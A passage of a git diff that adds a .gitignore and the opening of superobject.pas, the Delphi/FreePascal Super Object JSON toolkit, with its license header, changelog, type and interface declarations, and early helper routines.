BESENCodeFormatRevisionNumber:int64=19; + +implementation + +end. diff --git a/Core/JSON/.gitignore b/Core/JSON/.gitignore new file mode 100755 index 0000000..2e8d2a4 --- /dev/null +++ b/Core/JSON/.gitignore @@ -0,0 +1,2 @@ +*.dcu +__history diff --git a/Core/JSON/superobject.pas b/Core/JSON/superobject.pas new file mode 100755 index 0000000..a228cac --- /dev/null +++ b/Core/JSON/superobject.pas @@ -0,0 +1,6517 @@ +(* + * Super Object Toolkit + * + * Usage allowed under the restrictions of the Lesser GNU General Public License + * or alternatively the restrictions of the Mozilla Public License 1.1 + * + * Software distributed under the License is distributed on an "AS IS" basis, + * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License for + * the specific language governing rights and limitations under the License. + * + * Embarcadero Technologies Inc is not permitted to use or redistribute + * this source code without explicit permission. + * + * Unit owner : Henri Gourvest <hgourvest@gmail.com> + * Web site : http://www.progdigy.com + * + * This unit is inspired from the json c lib: + * Michael Clark <michael@metaparadigm.com> + * http://oss.metaparadigm.com/json-c/ + * + * CHANGES: + * v1.2 + * + support of currency data type + * + right trim unquoted string + * + read Unicode Files and streams (Litle Endian with BOM) + * + Fix bug on javadate functions + windows nt compatibility + * + Now you can force to parse only the canonical syntax of JSON using the stric parameter + * + Delphi 2010 RTTI marshalling + * v1.1 + * + Double licence MPL or LGPL. + * + Delphi 2009 compatibility & Unicode support. + * + AsString return a string instead of PChar. + * + Escaped and Unascaped JSON serialiser. + * + Missed FormFeed added \f + * - Removed @ trick, uses forcepath() method instead. + * + Fixed parse error with uppercase E symbol in numbers. + * + Fixed possible buffer overflow when enlarging array. + * + Added "delete", "pack", "insert" methods for arrays and/or objects + * + Multi parametters when calling methods + * + Delphi Enumerator (for obj1 in obj2 do ...) + * + Format method ex: obj.format('<%name%>%tab[1]%</%name%>') + * + ParseFile and ParseStream methods + * + Parser now understand hexdecimal c syntax ex: \xFF + * + Null Object Design Patern (ex: for obj in values.N['path'] do ...) + * v1.0 + * + renamed class + * + interfaced object + * + added a new data type: the method + * + parser can now evaluate properties and call methods + * - removed obselet rpc class + * - removed "find" method, now you can use "parse" method instead + * v0.6 + * + refactoring + * v0.5 + * + new find method to get or set value using a path syntax + * ex: obj.s['obj.prop[1]'] := 'string value'; + * obj.a['@obj.array'].b[n] := true; // @ -> create property if necessary + * v0.4 + * + bug corrected: AVL tree badly balanced. + * v0.3 + * + New validator partially based on the Kwalify syntax. + * + extended syntax to parse unquoted fields. + * + Freepascal compatibility win32/64 Linux32/64. + * + JavaToDelphiDateTime and DelphiToJavaDateTime improved for UTC. + * + new TJsonObject.Compare function. + * v0.2 + * + Hashed string list replaced with a faster AVL tree + * + JsonInt data type can be changed to int64 + * + JavaToDelphiDateTime and DelphiToJavaDateTime helper fonctions + * + from json-c v0.7 + * + Add escaping of backslash to json output + * + Add escaping of foward slash on tokenizing and output + * + Changes to internal tokenizer from using recursion to + * using a depth state structure to allow incremental parsing + * v0.1 + * + first release + *) + +{$IFDEF FPC} + {$MODE OBJFPC}{$H+} + {$SMARTLINK ON} +{$ENDIF} + +{$DEFINE SUPER_METHOD} +{.$DEFINE DEBUG} // track memory leack + + +{$if defined(VER210) or defined(VER220)} + {$define VER210ORGREATER} +{$ifend} + +{$if defined(VER230) or defined(VER240) or defined(VER250) or + defined(VER260) or defined(VER270) or defined(VER280)} + {$define VER210ORGREATER} + {$define VER230ORGREATER} +{$ifend} + +{$if defined(FPC) or defined(VER170) or defined(VER180) or defined(VER190) + or defined(VER200) or defined(VER210ORGREATER)} + {$DEFINE HAVE_INLINE} +{$ifend} + +{$if defined(VER210ORGREATER)} + {$define HAVE_RTTI} +{$ifend} + +{$if defined(VER230ORGREATER)} + {$define NEED_FORMATSETTINGS} +{$ifend} + +{$if defined(FPC) and defined(VER2_6)} + {$define NEED_FORMATSETTINGS} +{$ifend} + +{$OVERFLOWCHECKS OFF} +{$RANGECHECKS OFF} + +unit superobject; + +interface +uses + Classes, supertypes +{$IFDEF HAVE_RTTI} + ,Generics.Collections, RTTI, TypInfo +{$ENDIF} + ; + +const + SUPER_ARRAY_LIST_DEFAULT_SIZE = 32; + SUPER_TOKENER_MAX_DEPTH = 32; + + SUPER_AVL_MAX_DEPTH = sizeof(longint) * 8; + SUPER_AVL_MASK_HIGH_BIT = not ((not longword(0)) shr 1); + +type + // forward declarations + TSuperObject = class; + ISuperObject = interface; + TSuperArray = class; + +(* AVL Tree + * This is a "special" autobalanced AVL tree + * It use a hash value for fast compare + *) + +{$IFDEF SUPER_METHOD} + TSuperMethod = procedure(const This, Params: ISuperObject; var Result: ISuperObject); +{$ENDIF} + + + TSuperAvlBitArray = set of 0..SUPER_AVL_MAX_DEPTH - 1; + + TSuperAvlSearchType = (stEQual, stLess, stGreater); + TSuperAvlSearchTypes = set of TSuperAvlSearchType; + TSuperAvlIterator = class; + + TSuperAvlEntry = class + private + FGt, FLt: TSuperAvlEntry; + FBf: integer; + FHash: Cardinal; + FName: SOString; + FPtr: Pointer; + function GetValue: ISuperObject; + procedure SetValue(const val: ISuperObject); + public + class function Hash(const k: SOString): Cardinal; virtual; + constructor Create(const AName: SOString; Obj: Pointer); virtual; + property Name: SOString read FName; + property Ptr: Pointer read FPtr; + property Value: ISuperObject read GetValue write SetValue; + end; + + TSuperAvlTree = class + private + FRoot: TSuperAvlEntry; + FCount: Integer; + function balance(bal: TSuperAvlEntry): TSuperAvlEntry; + protected + procedure doDeleteEntry(Entry: TSuperAvlEntry; all: boolean); virtual; + function CompareNodeNode(node1, node2: TSuperAvlEntry): integer; virtual; + function CompareKeyNode(const k: SOString; h: TSuperAvlEntry): integer; virtual; + function Insert(h: TSuperAvlEntry): TSuperAvlEntry; virtual; + function Search(const k: SOString; st: TSuperAvlSearchTypes = [stEqual]): TSuperAvlEntry; virtual; + public + constructor Create; virtual; + destructor Destroy; override; + function IsEmpty: boolean; + procedure Clear(all: boolean = false); virtual; + procedure Pack(all: boolean); + function Delete(const k: SOString): ISuperObject; + function GetEnumerator: TSuperAvlIterator; + property count: Integer read FCount; + end; + + TSuperTableString = class(TSuperAvlTree) + protected + procedure doDeleteEntry(Entry: TSuperAvlEntry; all: boolean); override; + procedure PutO(const k: SOString; const value: ISuperObject); + function GetO(const k: SOString): ISuperObject; + procedure PutS(const k: SOString; const value: SOString); + function GetS(const k: SOString): SOString; + procedure PutI(const k: SOString; value: SuperInt); + function GetI(const k: SOString): SuperInt; + procedure PutD(const k: SOString; value: Double); + function GetD(const k: SOString): Double; + procedure PutB(const k: SOString; value: Boolean); + function GetB(const k: SOString): Boolean; +{$IFDEF SUPER_METHOD} + procedure PutM(const k: SOString; value: TSuperMethod); + function GetM(const k: SOString): TSuperMethod; +{$ENDIF} + procedure PutN(const k: SOString; const value: ISuperObject); + function GetN(const k: SOString): ISuperObject; + procedure PutC(const k: SOString; value: Currency); + function GetC(const k: SOString): Currency; + public + property O[const k: SOString]: ISuperObject read GetO write PutO; default; + property S[const k: SOString]: SOString read GetS write PutS; + property I[const k: SOString]: SuperInt read GetI write PutI; + property D[const k: SOString]: Double read GetD write PutD; + property B[const k: SOString]: Boolean read GetB write PutB; +{$IFDEF SUPER_METHOD} + property M[const k: SOString]: TSuperMethod read GetM write PutM; +{$ENDIF} + property N[const k: SOString]: ISuperObject read GetN write PutN; + property C[const k: SOString]: Currency read GetC write PutC; + + function GetValues: ISuperObject; + function GetNames: ISuperObject; + function Find(const k: SOString; var value: ISuperObject): Boolean; + function Exists(const k: SOString): Boolean; + end; + + TSuperAvlIterator = class + private + FTree: TSuperAvlTree; + FBranch: TSuperAvlBitArray; + FDepth: LongInt; + FPath: array[0..SUPER_AVL_MAX_DEPTH - 2] of TSuperAvlEntry; + public + constructor Create(tree: TSuperAvlTree); virtual; + procedure Search(const k: SOString; st: TSuperAvlSearchTypes = [stEQual]); + procedure First; + procedure Last; + function GetIter: TSuperAvlEntry; + procedure Next; + procedure Prior; + // delphi enumerator + function MoveNext: Boolean; + property Current: TSuperAvlEntry read GetIter; + end; + + TSuperObjectArray = array[0..(high(Integer) div sizeof(TSuperObject))-1] of ISuperObject; + PSuperObjectArray = ^TSuperObjectArray; + + TSuperArray = class + private + FArray: PSuperObjectArray; + FLength: Integer; + FSize: Integer; + procedure Expand(max: Integer); + protected + function GetO(const index: integer): ISuperObject; + procedure PutO(const index: integer; const Value: ISuperObject); + function GetB(const index: integer): Boolean; + procedure PutB(const index: integer; Value: Boolean); + function GetI(const index: integer): SuperInt; + procedure PutI(const index: integer; Value: SuperInt); + function GetD(const index: integer): Double; + procedure PutD(const index: integer; Value: Double); + function GetC(const index: integer): Currency; + procedure PutC(const index: integer; Value: Currency); + function GetS(const index: integer): SOString; + procedure PutS(const index: integer; const Value: SOString); +{$IFDEF SUPER_METHOD} + function GetM(const index: integer): TSuperMethod; + procedure PutM(const index: integer; Value: TSuperMethod); +{$ENDIF} + function GetN(const index: integer): ISuperObject; + procedure PutN(const index: integer; const Value: ISuperObject); + public + constructor Create; virtual; + destructor Destroy; override; + function Add(const Data: ISuperObject): Integer; overload; + function Add(Data: SuperInt): Integer; overload; + function Add(const Data: SOString): Integer; overload; + function Add(Data: Boolean): Integer; overload; + function Add(Data: Double): Integer; overload; + function AddC(const Data: Currency): Integer; + function Delete(index: Integer): ISuperObject; + procedure Insert(index: Integer; const value: ISuperObject); + procedure Clear(all: boolean = false); + procedure Pack(all: boolean); + property Length: Integer read FLength; + + property N[const index: integer]: ISuperObject read GetN write PutN; + property O[const index: integer]: ISuperObject read GetO write PutO; default; + property B[const index: integer]: boolean read GetB write PutB; + property I[const index: integer]: SuperInt read GetI write PutI; + property D[const index: integer]: Double read GetD write PutD; + property C[const index: integer]: Currency read GetC write PutC; + property S[const index: integer]: SOString read GetS write PutS; +{$IFDEF SUPER_METHOD} + property M[const index: integer]: TSuperMethod read GetM write PutM; +{$ENDIF} + end; + + TSuperWriter = class + public + // abstact methods to overide + function Append(buf: PSOChar; Size: Integer): Integer; overload; virtual; abstract; + function Append(buf: PSOChar): Integer; overload; virtual; abstract; + procedure Reset; virtual; abstract; + end; + + TSuperWriterString = class(TSuperWriter) + private + FBuf: PSOChar; + FBPos: integer; + FSize: integer; + public + function Append(buf: PSOChar; Size: Integer): Integer; overload; override; + function Append(buf: PSOChar): Integer; overload; override; + procedure Reset; override; + procedure TrimRight; + constructor Create; virtual; + destructor Destroy; override; + function GetString: SOString; + property Data: PSOChar read FBuf; + property Size: Integer read FSize; + property Position: integer read FBPos; + end; + + TSuperWriterStream = class(TSuperWriter) + private + FStream: TStream; + public + function Append(buf: PSOChar): Integer; override; + procedure Reset; override; + constructor Create(AStream: TStream); reintroduce; virtual; + end; + + TSuperAnsiWriterStream = class(TSuperWriterStream) + public + function Append(buf: PSOChar; Size: Integer): Integer; override; + end; + + TSuperUnicodeWriterStream = class(TSuperWriterStream) + public + function Append(buf: PSOChar; Size: Integer): Integer; override; + end; + + TSuperWriterFake = class(TSuperWriter) + private + FSize: Integer; + public + function Append(buf: PSOChar; Size: Integer): Integer; override; + function Append(buf: PSOChar): Integer; override; + procedure Reset; override; + constructor Create; reintroduce; virtual; + property size: integer read FSize; + end; + + TSuperTokenizerError = ( + teSuccess, + teContinue, + teDepth, + teParseEof, + teParseUnexpected, + teParseNull, + teParseBoolean, + teParseNumber, + teParseArray, + teParseObjectKeyName, + teParseObjectKeySep, + teParseObjectValueSep, + teParseString, + teParseComment, + teEvalObject, + teEvalArray, + teEvalMethod, + teEvalInt + ); + + TSuperTokenerState = ( + tsEatws, + tsStart, + tsFinish, + tsNull, + tsCommentStart, + tsComment, + tsCommentEol, + tsCommentEnd, + tsString, + tsStringEscape, + tsIdentifier, + tsEscapeUnicode, + tsEscapeHexadecimal, + tsBoolean, + tsNumber, + tsArray, + tsArrayAdd, + tsArraySep, + tsObjectFieldStart, + tsObjectField, + tsObjectUnquotedField, + tsObjectFieldEnd, + tsObjectValue, + tsObjectValueAdd, + tsObjectSep, + tsEvalProperty, + tsEvalArray, + tsEvalMethod, + tsParamValue, + tsParamPut, + tsMethodValue, + tsMethodPut + ); + + PSuperTokenerSrec = ^TSuperTokenerSrec; + TSuperTokenerSrec = record + state, saved_state: TSuperTokenerState; + obj: ISuperObject; + current: ISuperObject; + field_name: SOString; + parent: ISuperObject; + gparent: ISuperObject; + end; + + TSuperTokenizer = class + public + str: PSOChar; + pb: TSuperWriterString; + depth, is_double, floatcount, st_pos, char_offset: Integer; + err: TSuperTokenizerError; + ucs_char: Word; + quote_char: SOChar; + stack: array[0..SUPER_TOKENER_MAX_DEPTH-1] of TSuperTokenerSrec; + line, col: Integer; + public + constructor Create; virtual; + destructor Destroy; override; + procedure ResetLevel(adepth: integer); + procedure Reset; + end; + + // supported object types + TSuperType = ( + stNull, + stBoolean, + stDouble, + stCurrency, + stInt, + stObject, + stArray, + stString +{$IFDEF SUPER_METHOD} + ,stMethod +{$ENDIF} + ); + + TSuperValidateError = ( + veRuleMalformated, + veFieldIsRequired, + veInvalidDataType, + veFieldNotFound, + veUnexpectedField, + veDuplicateEntry, + veValueNotInEnum, + veInvalidLength, + veInvalidRange + ); + + TSuperFindOption = ( + foCreatePath, + foPutValue, + foDelete +{$IFDEF SUPER_METHOD} + ,foCallMethod +{$ENDIF} + ); + + TSuperFindOptions = set of TSuperFindOption; + TSuperCompareResult = (cpLess, cpEqu, cpGreat, cpError); + TSuperOnValidateError = procedure(sender: Pointer; error: TSuperValidateError; const objpath: SOString); + + TSuperEnumerator = class + private + FObj: ISuperObject; + FObjEnum: TSuperAvlIterator; + FCount: Integer; + public + constructor Create(const obj: ISuperObject); virtual; + destructor Destroy; override; + function MoveNext: Boolean; + function GetCurrent: ISuperObject; + property Current: ISuperObject read GetCurrent; + end; + + ISuperObject = interface + ['{4B86A9E3-E094-4E5A-954A-69048B7B6327}'] + function GetEnumerator: TSuperEnumerator; + function GetDataType: TSuperType; + function GetProcessing: boolean; + procedure SetProcessing(value: boolean); + function ForcePath(const path: SOString; dataType: TSuperType = stObject): ISuperObject; + function Format(const str: SOString; BeginSep: SOChar = '%'; EndSep: SOChar = '%'): SOString; + + function GetO(const path: SOString): ISuperObject; + procedure PutO(const path: SOString; const Value: ISuperObject); + function GetB(const path: SOString): Boolean; + procedure PutB(const path: SOString; Value: Boolean); + function GetI(const path: SOString): SuperInt; + procedure PutI(const path: SOString; Value: SuperInt); + function GetD(const path: SOString): Double; + procedure PutC(const path: SOString; Value: Currency); + function GetC(const path: SOString): Currency; + procedure PutD(const path: SOString; Value: Double); + function GetS(const path: SOString): SOString; + procedure PutS(const path: SOString; const Value: SOString); +{$IFDEF SUPER_METHOD} + function GetM(const path: SOString): TSuperMethod; + procedure PutM(const path: SOString; Value: TSuperMethod); +{$ENDIF} + function GetA(const path: SOString): TSuperArray; + + // Null Object Design patern + function GetN(const path: SOString): ISuperObject; + procedure PutN(const path: SOString; const Value: ISuperObject); + + // Writers + function Write(writer: TSuperWriter; indent: boolean; escape: boolean; level: integer): Integer; + function SaveTo(stream: TStream; indent: boolean = false; escape: boolean = true): integer; overload; + function SaveTo(const FileName: string; indent: boolean = false; escape: boolean = true): integer; overload; + function CalcSize(indent: boolean = false; escape: boolean = true): integer; + + // convert + function AsBoolean: Boolean; + function AsInteger: SuperInt; + function AsDouble: Double; + function AsCurrency: Currency; + function AsString: SOString; + function AsArray: TSuperArray; + function AsObject: TSuperTableString; +{$IFDEF SUPER_METHOD} + function AsMethod: TSuperMethod; +{$ENDIF} + function AsJSon(indent: boolean = false; escape: boolean = true): SOString; + + procedure Clear(all: boolean = false); + procedure Pack(all: boolean = false); + + property N[const path: SOString]: ISuperObject read GetN write PutN; + property O[const path: SOString]: ISuperObject read GetO write PutO; default; + property B[const path: SOString]: boolean read GetB write PutB; + property I[const path: SOString]: SuperInt read GetI write PutI; + property D[const path: SOString]: Double read GetD write PutD; + property C[const path: SOString]: Currency read GetC write PutC; + property S[const path: SOString]: SOString read GetS write PutS; +{$IFDEF SUPER_METHOD} + property M[const path: SOString]: TSuperMethod read GetM write PutM; +{$ENDIF} + property A[const path: SOString]: TSuperArray read GetA; + +{$IFDEF SUPER_METHOD} + function call(const path: SOString; const param: ISuperObject = nil): ISuperObject; overload; + function call(const path, param: SOString): ISuperObject; overload; +{$ENDIF} + + // clone a node + function Clone: ISuperObject; + function Delete(const path: SOString): ISuperObject; + // merges tow objects of same type, if reference is true then nodes are not cloned + procedure Merge(const obj: ISuperObject; reference: boolean = false); overload; + procedure Merge(const str: SOString); overload; + + // validate methods + function Validate(const rules: SOString; const defs: SOString = ''; callback: TSuperOnValidateError = nil; sender: Pointer = nil): boolean; overload; + function Validate(const rules: ISuperObject; const defs: ISuperObject = nil; callback: TSuperOnValidateError = nil; sender: Pointer = nil): boolean; overload; + + // compare + function Compare(const obj: ISuperObject): TSuperCompareResult; overload; + function Compare(const str: SOString): TSuperCompareResult; overload; + + // the data type + function IsType(AType: TSuperType): boolean; + property DataType: TSuperType read GetDataType; + property Processing: boolean read GetProcessing write SetProcessing; + + function GetDataPtr: Pointer; + procedure SetDataPtr(const Value: Pointer); + property DataPtr: Pointer read GetDataPtr write SetDataPtr; + end; + + TSuperObject = class(TObject, ISuperObject) + private + FRefCount: Integer; + FProcessing: boolean; + FDataType: TSuperType; + FDataPtr: Pointer; +{.$if true} + FO: record + case TSuperType of + stBoolean: (c_boolean: boolean); + stDouble: (c_double: double); + stCurrency: (c_currency: Currency); + stInt: (c_int: SuperInt); + stObject: (c_object: TSuperTableString); + stArray: (c_array: TSuperArray); +{$IFDEF SUPER_METHOD} + stMethod: (c_method: TSuperMethod); +{$ENDIF} + end; +{.$ifend} + FOString: SOString; + function GetDataType: TSuperType; + function GetDataPtr: Pointer; + procedure SetDataPtr(const Value: Pointer); + protected +{$IFDEF FPC} + function QueryInterface({$IFDEF FPC_HAS_CONSTREF}constref{$ELSE}const{$ENDIF} iid: tguid; out obj): longint;{$IFNDEF WINDOWS}cdecl{$ELSE}stdcall{$ENDIF}; +{$ELSE} + function QueryInterface(const IID: TGUID; out Obj): HResult; virtual; stdcall; +{$ENDIF} + function _AddRef: Integer; virtual; {$IFNDEF WINDOWS}cdecl{$ELSE}stdcall{$ENDIF}; + function _Release: Integer; virtual; {$IFNDEF WINDOWS}cdecl{$ELSE}stdcall{$ENDIF}; + + function GetO(const path: SOString): ISuperObject; + procedure PutO(const path: SOString; const Value: ISuperObject); + function GetB(const path: SOString): Boolean; + procedure PutB(const path: SOString; Value: Boolean); + function GetI(const path: SOString): SuperInt; + procedure PutI(const path: SOString; Value: SuperInt); + function GetD(const path: SOString): Double; + procedure PutD(const path: SOString; Value: Double); + procedure PutC(const path: SOString; Value: Currency); + function GetC(const path: SOString): Currency; + function GetS(const path: SOString): SOString; + procedure PutS(const path: SOString; const Value: SOString); +{$IFDEF SUPER_METHOD} + function GetM(const path: SOString): TSuperMethod; + procedure PutM(const path: SOString; Value: TSuperMethod); +{$ENDIF} + function GetA(const path: SOString): TSuperArray; + function Write(writer: TSuperWriter; indent: boolean; escape: boolean; level: integer): Integer; virtual; + public + function GetEnumerator: TSuperEnumerator; + procedure AfterConstruction; override; + procedure BeforeDestruction; override; + class function NewInstance: TObject; override; + property RefCount: Integer read FRefCount; + + function GetProcessing: boolean; + procedure SetProcessing(value: boolean); + + // Writers + function SaveTo(stream: TStream; indent: boolean = false; escape: boolean = true): integer; overload; + function SaveTo(const FileName: string; indent: boolean = false; escape: boolean = true): integer; overload; + function CalcSize(indent: boolean = false; escape: boolean = true): integer; + function AsJSon(indent: boolean = false; escape: boolean = true): SOString; + + // parser ... owned! + class function ParseString(s: PSOChar; strict: Boolean; partial: boolean = true; const this: ISuperObject = nil; options: TSuperFindOptions = []; + const put: ISuperObject = nil; dt: TSuperType = stNull): ISuperObject; + class function ParseStream(stream: TStream; strict: Boolean; partial: boolean = true; const this: ISuperObject = nil; options: TSuperFindOptions = []; + const put: ISuperObject = nil; dt: TSuperType = stNull): ISuperObject; + class function ParseFile(const FileName: string; strict: Boolean; partial: boolean = true; const this: ISuperObject = nil; options: TSuperFindOptions = []; + const put: ISuperObject = nil; dt: TSuperType = stNull): ISuperObject; + class function ParseEx(tok: TSuperTokenizer; str: PSOChar; len: integer; strict: Boolean; const this: ISuperObject = nil; + options: TSuperFindOptions = []; const put: ISuperObject = nil; dt: TSuperType = stNull): ISuperObject; + + // constructors / destructor + constructor Create(jt: TSuperType = stObject); overload; virtual; + constructor Create(b: boolean); overload; virtual; + constructor Create(i: SuperInt); overload; virtual; + constructor Create(d: double); overload; virtual; + constructor CreateCurrency(c: Currency); overload; virtual; + constructor Create(const s: SOString); overload; virtual; +{$IFDEF SUPER_METHOD} + constructor Create(m: TSuperMethod); overload; virtual; +{$ENDIF} + destructor Destroy; override; + + // convert + function AsBoolean: Boolean; virtual; + function AsInteger: SuperInt; virtual; + function AsDouble: Double; virtual; + function AsCurrency: Currency; virtual; + function AsString: SOString; virtual; + function AsArray: TSuperArray; virtual; + function AsObject: TSuperTableString; virtual; +{$IFDEF SUPER_METHOD} + function AsMethod: TSuperMethod; virtual; +{$ENDIF} + procedure Clear(all: boolean = false); virtual; + procedure Pack(all: boolean = false); virtual; + function GetN(const path: SOString): ISuperObject; + procedure PutN(const path: SOString; const Value: ISuperObject); + function ForcePath(const path: SOString; dataType: TSuperType = stObject): ISuperObject; + function Format(const str: SOString; BeginSep: SOChar = '%'; EndSep: SOChar = '%'): SOString; + + property N[const path: SOString]: ISuperObject read GetN write PutN; + property O[const path: SOString]: ISuperObject read GetO write PutO; default; + property B[const path: SOString]: boolean read GetB write PutB; + property I[const path: SOString]: SuperInt read GetI write PutI; + property D[const path: SOString]: Double read GetD write PutD; + property C[const path: SOString]: Currency read GetC write PutC; + property S[const path: SOString]: SOString read GetS write PutS; +{$IFDEF SUPER_METHOD} + property M[const path: SOString]: TSuperMethod read GetM write PutM; +{$ENDIF} + property A[const path: SOString]: TSuperArray read GetA; + + {$IFDEF SUPER_METHOD} + function call(const path: SOString; const param: ISuperObject = nil): ISuperObject; overload; virtual; + function call(const path, param: SOString): ISuperObject; overload; virtual; +{$ENDIF} + // clone a node + function Clone: ISuperObject; virtual; + function Delete(const path: SOString): ISuperObject; + // merges tow objects of same type, if reference is true then nodes are not cloned + procedure Merge(const obj: ISuperObject; reference: boolean = false); overload; + procedure Merge(const str: SOString); overload; + + // validate methods + function Validate(const rules: SOString; const defs: SOString = ''; callback: TSuperOnValidateError = nil; sender: Pointer = nil): boolean; overload; + function Validate(const rules: ISuperObject; const defs: ISuperObject = nil; callback: TSuperOnValidateError = nil; sender: Pointer = nil): boolean; overload; + + // compare + function Compare(const obj: ISuperObject): TSuperCompareResult; overload; + function Compare(const str: SOString): TSuperCompareResult; overload; + + // the data type + function IsType(AType: TSuperType): boolean; + property DataType: TSuperType read GetDataType; + // a data pointer to link to something ele, a treeview for example + property DataPtr: Pointer read GetDataPtr write SetDataPtr; + property Processing: boolean read GetProcessing; + end; + +{$IFDEF HAVE_RTTI} + TSuperRttiContext = class; + + TSerialFromJson = function(ctx: TSuperRttiContext; const obj: ISuperObject; var Value: TValue): Boolean; + TSerialToJson = function(ctx: TSuperRttiContext; var value: TValue; const index: ISuperObject): ISuperObject; + + TSuperAttribute = class(TCustomAttribute) + private + FName: string; + public + constructor Create(const AName: string); + property Name: string read FName; + end; + + SOName = class(TSuperAttribute); + SODefault = class(TSuperAttribute); + + + TSuperRttiContext = class + private + class function GetFieldName(r: TRttiField): string; + class function GetFieldDefault(r: TRttiField; const obj: ISuperObject): ISuperObject; + public + Context: TRttiContext; + SerialFromJson: TDictionary<PTypeInfo, TSerialFromJson>; + SerialToJson: TDictionary<PTypeInfo, TSerialToJson>; + constructor Create; virtual; + destructor Destroy; override; + function FromJson(TypeInfo: PTypeInfo; const obj: ISuperObject; var Value: TValue): Boolean; virtual; + function ToJson(var value: TValue; const index: ISuperObject): ISuperObject; virtual; + function AsType<T>(const obj: ISuperObject): T; + function AsJson<T>(const obj: T; const index: ISuperObject = nil): ISuperObject; + end; + + TSuperObjectHelper = class helper for TObject + public + function ToJson(ctx: TSuperRttiContext = nil): ISuperObject; + constructor FromJson(const obj: ISuperObject; ctx: TSuperRttiContext = nil); overload; + constructor FromJson(const str: string; ctx: TSuperRttiContext = nil); overload; + end; +{$ENDIF} + + TSuperObjectIter = record + key: SOString; + val: ISuperObject; + Ite: TSuperAvlIterator; + end; + +function ObjectIsError(obj: TSuperObject): boolean; +function ObjectIsType(const obj: ISuperObject; typ: TSuperType): boolean; +function ObjectGetType(const obj: ISuperObject): TSuperType; +function ObjectIsNull(const obj: ISuperObject): Boolean; + +function ObjectFindFirst(const obj: ISuperObject; var F: TSuperObjectIter): boolean; +function ObjectFindNext(var F: TSuperObjectIter): boolean; +procedure ObjectFindClose(var F: TSuperObjectIter); + +function SO(const s: SOString = '{}'): ISuperObject; overload; +function SO(const value: Variant): ISuperObject; overload; +function SO(const Args: array of const): ISuperObject; overload; + +function SA(const Args: array of const): ISuperObject; overload; + +//function TryObjectToDate(const obj: ISuperObject; var dt: TDateTime): Boolean; +function UUIDToString(const g: TGUID): SOString; +function StringToUUID(const str: SOString; var g: TGUID): Boolean; + +{$IFDEF HAVE_RTTI} + +type + TSuperInvokeResult = ( + irSuccess, + irMethothodError, // method don't exist + irParamError, // invalid parametters + irError // other error + ); + +function TrySOInvoke(var ctx: TSuperRttiContext; const obj: TValue; const method: string; const params: ISuperObject; var Return: ISuperObject): TSuperInvokeResult; overload; +function SOInvoke(const obj: TValue; const method: string; const params: ISuperObject; ctx: TSuperRttiContext = nil): ISuperObject; overload; +function SOInvoke(const obj: TValue; const method: string; const params: string; ctx: TSuperRttiContext = nil): ISuperObject; overload; +{$ENDIF} + +implementation +uses + sysutils{$IFNDEF FPC} Windows,{$ENDIF}; + +{$IFDEF DEBUG} +var + debugcount: integer = 0; +{$ENDIF} + +const + super_number_chars_set = ['0'..'9','.','+','-','e','E']; + super_hex_chars: PSOChar = '0123456789abcdef'; + super_hex_chars_set = ['0'..'9','a'..'f','A'..'F']; + + ESC_BS: PSOChar = '\b'; + ESC_LF: PSOChar = '\n'; + ESC_CR: PSOChar = '\r'; + ESC_TAB: PSOChar = '\t'; + ESC_FF: PSOChar = '\f'; + ESC_QUOT: PSOChar = '\"'; + ESC_SL: PSOChar = '\\'; + ESC_SR: PSOChar = '\/'; + ESC_ZERO: PSOChar = '\u0000'; + + TOK_CRLF: PSOChar = #13#10; + TOK_SP: PSOChar = #32; + TOK_BS: PSOChar = #8; + TOK_TAB: PSOChar = #9; + TOK_LF: PSOChar = #10; + TOK_FF: PSOChar = #12; + TOK_CR: PSOChar = #13; +// TOK_SL: PSOChar = '\'; +// TOK_SR: PSOChar = '/'; + TOK_NULL: PSOChar = 'null'; + TOK_CBL: PSOChar = '{'; // curly bracket left + TOK_CBR: PSOChar = '}'; // curly bracket right + TOK_ARL: PSOChar = '['; + TOK_ARR: PSOChar = ']'; + TOK_ARRAY: PSOChar = '[]'; + TOK_OBJ: PSOChar = '{}'; // empty object + TOK_COM: PSOChar = ','; // Comma + TOK_DQT: PSOChar = '"'; // Double Quote + TOK_TRUE: PSOChar = 'true'; + TOK_FALSE: PSOChar = 'false'; + +{$if (sizeof(Char) = 1)} +function StrLComp(const Str1, Str2: PSOChar; MaxLen: Cardinal): Integer; +var + P1, P2: PWideChar; + I: Cardinal; + C1, C2: WideChar; +begin + P1 := Str1; + P2 := Str2; + I := 0; + while I < MaxLen do + begin + C1 := P1^; + C2 := P2^; + + if (C1 <> C2) or (C1 = #0) then + begin + Result := Ord(C1) - Ord(C2); + Exit; + end; + + Inc(P1); + Inc(P2); + Inc(I); + end; + Result := 0; +end; + +function StrComp(const Str1, Str2: PSOChar): Integer; +var + P1, P2: PWideChar; + C1, C2: WideChar; +begin + P1 := Str1; + P2 := Str2; + while True do + begin + C1 := P1^; + C2 := P2^; + + if (C1 <> C2) or (C1 = #0) then + begin + Result := Ord(C1) - Ord(C2); + Exit; + end; + + Inc(P1); + Inc(P2); + end; +end; + +function StrLen(const Str: PSOChar): Cardinal; +var + p: PSOChar; +begin + Result := 0; + if Str <> nil then + begin + p := Str; + while p^ <> #0 do inc(p); + Result := (p - Str); + end; +end; +{$ifend} + +function FloatToJson(const value: Double): SOString; +var + p: PSOChar; +begin + Result := FloatToStr(value); + if {$if defined(NEED_FORMATSETTINGS)}FormatSettings.{$ifend}DecimalSeparator <> '.' then + begin + p := PSOChar(Result); + while p^ <> #0 do + if p^ <> SOChar({$if defined(NEED_FORMATSETTINGS)}FormatSettings.{$ifend}DecimalSeparator) then + inc(p) else + begin + p^ := '.'; + Exit; + end; + end; +end; + +function CurrToJson(const value: Currency): SOString; +var + p: PSOChar; +begin + Result := CurrToStr(value); + if {$if defined(NEED_FORMATSETTINGS)}FormatSettings.{$ifend}DecimalSeparator <> '.' then + begin + p := PSOChar(Result); + while p^ <> #0 do + if p^ <> SOChar({$if defined(NEED_FORMATSETTINGS)}FormatSettings.{$ifend}DecimalSeparator) then + inc(p) else + begin + p^ := '.'; + Exit; + end; + end; +end; + + +function SO(const s: SOString): ISuperObject; overload; +begin + Result := TSuperObject.ParseString(PSOChar(s), False); +end; + +function SA(const Args: array of const): ISuperObject; overload; +type + TByteArray = array[0..sizeof(integer) - 1] of byte; + PByteArray = ^TByteArray; +var + j: Integer; + intf: IInterface; +begin + Result := TSuperObject.Create(stArray); + for j := 0 to length(Args) - 1 do + with Result.AsArray do + case TVarRec(Args[j]).VType of + vtInteger : Add(TSuperObject.Create(TVarRec(Args[j]).VInteger)); + vtInt64 : Add(TSuperObject.Create(TVarRec(Args[j]).VInt64^)); + vtBoolean 